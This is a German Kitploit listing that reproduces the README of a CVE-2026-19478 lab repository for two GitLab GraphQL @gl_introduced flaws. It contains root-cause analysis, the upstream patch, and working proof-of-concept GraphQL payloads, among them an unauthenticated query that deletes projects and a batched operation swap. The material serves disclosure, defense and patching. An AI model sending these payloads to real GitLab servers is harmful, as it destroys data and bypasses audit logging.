Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-19478 — Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen. | Kitploit
Tools/GitHubGitHub/n0xdaemon/cve-2026-19478
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsWebsicherheit
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen.

Repository anzeigen
vor 3 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 — Schwachstellen im GitLab-GraphQL-Version-Filter @gl_introduced

Ein Reproduktionslabor für zwei zusammenhängende Fehler in GitLabs GraphQL-Version-Filter-Funktion (der @gl_introduced-Direktive). Beide befinden sich im selben Funktionsbereich, werden durch denselben Upstream-Patch behoben, und beide ermöglichen es einer GraphQL-Anfrage, Codepfade zu erreichen, die sie nie deklariert hat:

  • Ausführung von Fallback-Feld-Methoden — eine einzelne, nicht authentifizierte, nicht gebündelte Abfrage kann eine beliebige Methode ohne Argumente (z. B. destroy) auf dem Modell hinter einem beliebigen GraphQL-Typ aufrufen, indem sie einfach ein Feld benennt, das nicht existiert, und es mit @gl_introduced markiert.
  • Dokumenttausch zwischen Operationen — in einer gebündelten (Multiplex-)Anfrage kann das geparste Abfragedokument einer Operation gegen das einer anderen ausgetauscht werden, sodass ein Slot, der eine harmlose Leseoperation deklariert hat, am Ende eine Mutation eines anderen Slots ausführt.
Tool herunterladen
Betroffen18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Behoben18.11.11, 19.0.8, 19.1.6, 19.2.4
Laborzielgitlab/gitlab-ce:19.2.2-ce.0 (letzter Build vor dem Fix)
AuslöserGraphQL-Direktive @gl_introduced, allein oder innerhalb eines Batches

Repository-Struktur

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Alles unter src/ ist wörtlicher Upstream-Quellcode, nie neu implementiert — der Loader legt src/vuln oder src/patched über src/common.


1. Grundursache

1a. Fallback-Feld → Standard-Methodenauflösung von graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback ermöglicht es einer Abfrage, ein Feld zu referenzieren, das in einem Typ noch nicht existiert, ohne dass die Anfrage fehlschlägt — gedacht für rollierende Deployments, bei denen das Schema eines alten Knotens ein Feld noch nicht hat, das ein neuerer Knoten bereits ausliefert. Sein get_field-Override prüft, ob das angeforderte Feld fehlt und die Anfrage mit contain_future_fields markiert ist, und liefert in diesem Fall ein synthetisches Feld zurück, anstatt eine Ausnahme auszulösen:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Das Problem: Dieses GraphQL::Schema::Field wird ohne Resolver-Methode, ohne Resolver-Klasse und ohne Block erstellt. Dann greift die eigene Standard-Feldauflösung von graphql-ruby (graphql-Gem 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym ist der Name des Feldes, unterstrichen — also genau die Zeichenkette, die der Angreifer in die Abfrage gesetzt hat. Wenn das Objekt hinter dem GraphQL-Typ (das ActiveRecord-Modell) zufällig eine echte öffentliche Methode ohne Argumente mit diesem Namen besitzt, ruft graphql-ruby sie auf und gibt ihr (typkonvertiertes) Ergebnis zurück. fallback_value: nil greift nur, wenn die Methode wirklich nicht existiert — es verhindert nicht, dass eine echte Methode ausgeführt wird.

Also: Fragt man einen beliebigen Typ nach einem Feld ab, das nach einer echten destruktiven Methode benannt ist — zum Beispiel destroy — und markiert es mit @gl_introduced, damit es bis zur Ausführung überlebt, wird die Methode ausgeführt.

1b. Dokumenttausch zwischen Operationen

IntroducedTracer implementiert den Rest der Version-Filter-Funktion über zwei graphql-ruby-Trace-Hooks — parse (einmal pro Operation) und execute_query (einmal pro Operation). Im verwundbaren Build verstaut es seinen Zustand pro Operation in einfachen Instanzvariablen auf dem Trace-Objekt:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Das Problem: graphql-ruby teilt EINE Trace-Instanz über alle Operationen einer Multiplex-Anfrage und parst sie alle, bevor eine davon ausgeführt wird. In einem Batch mit zwei Operationen gilt also:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trägt ein @gl_introduced-Zukunftsfeld)

Nach dem Parsen überlebt nur der Zustand der letzten Operation. Dann läuft die Ausführung:

  1. execute_query(op1) → Flag ist true, also wird op1s Dokument mit op2_doc überschrieben und neu vorbereitet → op1s Slot führt op2s Operation aus.

op1 hat eine Leseoperation deklariert; es führt den Schreibvorgang von op2 aus.

Der Fix

patch-19.2.2-to-19.2.4.diff behebt beides:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Exploit-Ablauf

2a. Fallback-Feld — einzelne Anfrage, ohne Authentifizierung, ohne Batching

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Kein Authorization-Header. Eine Operation, kein Batch. destroy ist kein echtes Feld auf Project — es existiert im Schema überhaupt nicht — aber die Direktive veranlasst FutureFieldFilter, es vor der statischen Validierung zu entfernen, und aktiviert contain_future_fields für die Ausführung. Dort gibt get_field ein resolverloses Feld namens destroy zurück, und graphql-ruby ruft project.public_send(:destroy) auf.

Live verifiziert (evidence/live_vuln_fallback_field.txt, dreimal gegen drei separate Wegwerfprojekte reproduziert): Gegen ein öffentliches Projekt gesendet, war die Antwort {"data":{"project":{"id":"...","destroy":true}}}. Eine anschließende authentifizierte REST-Prüfung (GET /api/v4/projects/:id) gab 404 zurück — das Projekt war tatsächlich weg. Das Anfrageprotokoll für diesen Aufruf zeigt 9 synchrone Datenbankschreibvorgänge und null neue AuditEvent-Zeilen: Der Aufruf umgeht Projects::DestroyService vollständig (und damit den Prüfpfad, Webhooks und Benachrichtigungen) — es ist eine rohe ActiveRecord#destroy-Kaskade, die direkt über die Standard-Feldauflösung von GraphQL aufgerufen wird.

2b. Dokumenttausch zwischen Operationen — benötigt einen Batch

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2-Nutzlast — die @gl_introduced-Direktive muss nur auf einem echten Feld sitzen, damit FutureFieldFilter zum Parse-Zeitpunkt contain_future_fields umschaltet und den Tausch aktiviert:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Live verifiziert (evidence/live_vuln.txt): Slot 1, der query { currentUser { username } } deklariert hatte, gibt {"data":{"starProject":{"count":"0"}}} zurück, und die Stern-Anzahl des Projekts wechselt von 1 → 0.


3. Ausführen der PoCs

PoC #1 — Live-HTTP-Exploit, Ausführung von Fallback-Feld-Methoden

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

Das Skript erstellt über die authentifizierte REST-API ein Wegwerfprojekt (nur Einrichtung), sendet eine nicht authentifizierte GraphQL-Abfrage, die ein mit @gl_introduced markiertes destroy-Feld benennt, und prüft das Projekt anschließend erneut über authentifiziertes REST. Es meldet VULNERABLE, wenn das Projekt weg ist.

PoC #2 — Live-HTTP-Exploit, Dokumenttausch zwischen Operationen

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

Das Skript liest den Ausgangszustand der Sterne, sendet den Batch mit zwei Operationen und meldet VULNERABLE, wenn der als Leseoperation deklarierte Slot 1 eine starProject-Nutzlast zurückgibt (und/oder sich die Stern-Anzahl ändert).

PoC #3 — Eigenständige Grundursache, Dokumenttausch (kein GitLab erforderlich)

Isoliert Gitlab::Graphql::VersionFilter in einer winzigen graphql-ruby-App, sodass der Tausch ohne GitLab-Rauschen sichtbar ist. Lädt den echten Upstream-Quellcode.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Auswirkungen

Beide Vektoren wurden live gegen gitlab/gitlab-ce:19.2.2-ce.0 bestätigt. Sie haben unterschiedliche Autorisierungs-Exposition, da sie verschiedene Ebenen des GitLab-Stacks treffen.

Fallback-Feld (1a): bestätigt nicht authentifiziert, destruktiv

Kein Token, kein Batching, eine Abfrage. Die Antwort gibt das Ergebnis der Methode direkt zurück ("destroy": true), und der zugrunde liegende Datensatz wird tatsächlich gelöscht — bestätigt über authentifiziertes REST (404) und über serverseitige Beweise (null AuditEvent-Zeilen, 9 synchrone Schreibvorgänge in einer Anfrage), was bedeutet, dass der normale Löschdienst von GitLab vollständig umgangen wird. Dreimal unabhängig gegen drei separate Wegwerfprojekte reproduziert. Jeder GraphQL-Typ, dessen zugrunde liegendes Objekt eine echte destruktive Methode ohne Argumente bereitstellt, ist ein Kandidat.

Operationstausch (1b): bestätigt authentifiziert; bei anonymem Zugriff gesperrt

Mit einem beliebigen Token mit api-Bereich führt eine Operation, die eine Leseoperation deklariert hat, einen Schreibvorgang aus, den sie nie angefordert hat (Stern-Anzahl 1 → 0, angetrieben durch einen query-typisierten Slot). Ohne Token ausgelöst, greift der Tausch weiterhin — der Lese-Slot erreicht und löst starProject tatsächlich auf — aber jede GitLab-Mutation erbt von Mutations::BaseMutation, dessen self.authorized?-Gate zur Ausführungszeit läuft:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Bei einer anonymen Anfrage ist current_user gleich nil, und GlobalPolicy führt rule { anonymous }.policy { prevent :execute_graphql_mutation } aus. Ein Durchlauf mit 10 Batch-Anordnungen (Reihenfolge, Direktive auf Feld / Unterfeld / Inline-Fragment, Batches mit 2 und 3 Operationen) ohne Authentifizierung: Der gekaperte Slot läuft jedes Mal in das Gate, und die Stern-Anzahl bewegt sich nie.

Dieses Gate ist spezifisch für Mutationen — es hat keine Auswirkung auf 1a, das Mutations::BaseMutation überhaupt nicht berührt; das Fallback-Feld wird direkt gegen das Modell als einfaches Feld vom Typ query aufgelöst, ohne jegliche Autorisierungsprüfung im Pfad.

Warum der eigenständige PoC (#3) für 1b wie nicht authentifiziert aussieht

src/common/demo_app.rb hat überhaupt keine Autorisierungsschicht — seine Mutation schreibt einfach. PoC #3 demonstriert also den Tausch-Mechanismus (ein Lese-Slot führt einen Schreibvorgang aus) in einer Sandbox ohne Authentifizierung. Echtes GitLab erzwingt das execute_graphql_mutation-Gate, das die Demo weglässt — speziell für 1b. Bei diesem Standard-Build ist ein durch eine Mutation ausgelöster Schreibvorgang ohne Anmeldedaten nicht allein über 1b erreichbar; er ist über 1a erreichbar, das überhaupt keine Mutation benötigt.


5. Gegenmaßnahmen

Aktualisieren Sie auf 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 oder neuer. Der Fix (siehe Diff) bewirkt zwei Dinge: future_field_fallback.rb gibt dem Fallback-Feld einen expliziten Resolver (Resolvers::NilResolver, der immer nil zurückgibt), anstatt sich auf den Standard-Methodendispatch von graphql-ruby zu verlassen, was 1a behebt; introduced_tracer.rb begrenzt den Zustand des Tracers pro Operation auf das eigene Dokument der jeweiligen Operation anstelle einer gemeinsamen Instanzvariable, was 1b behebt.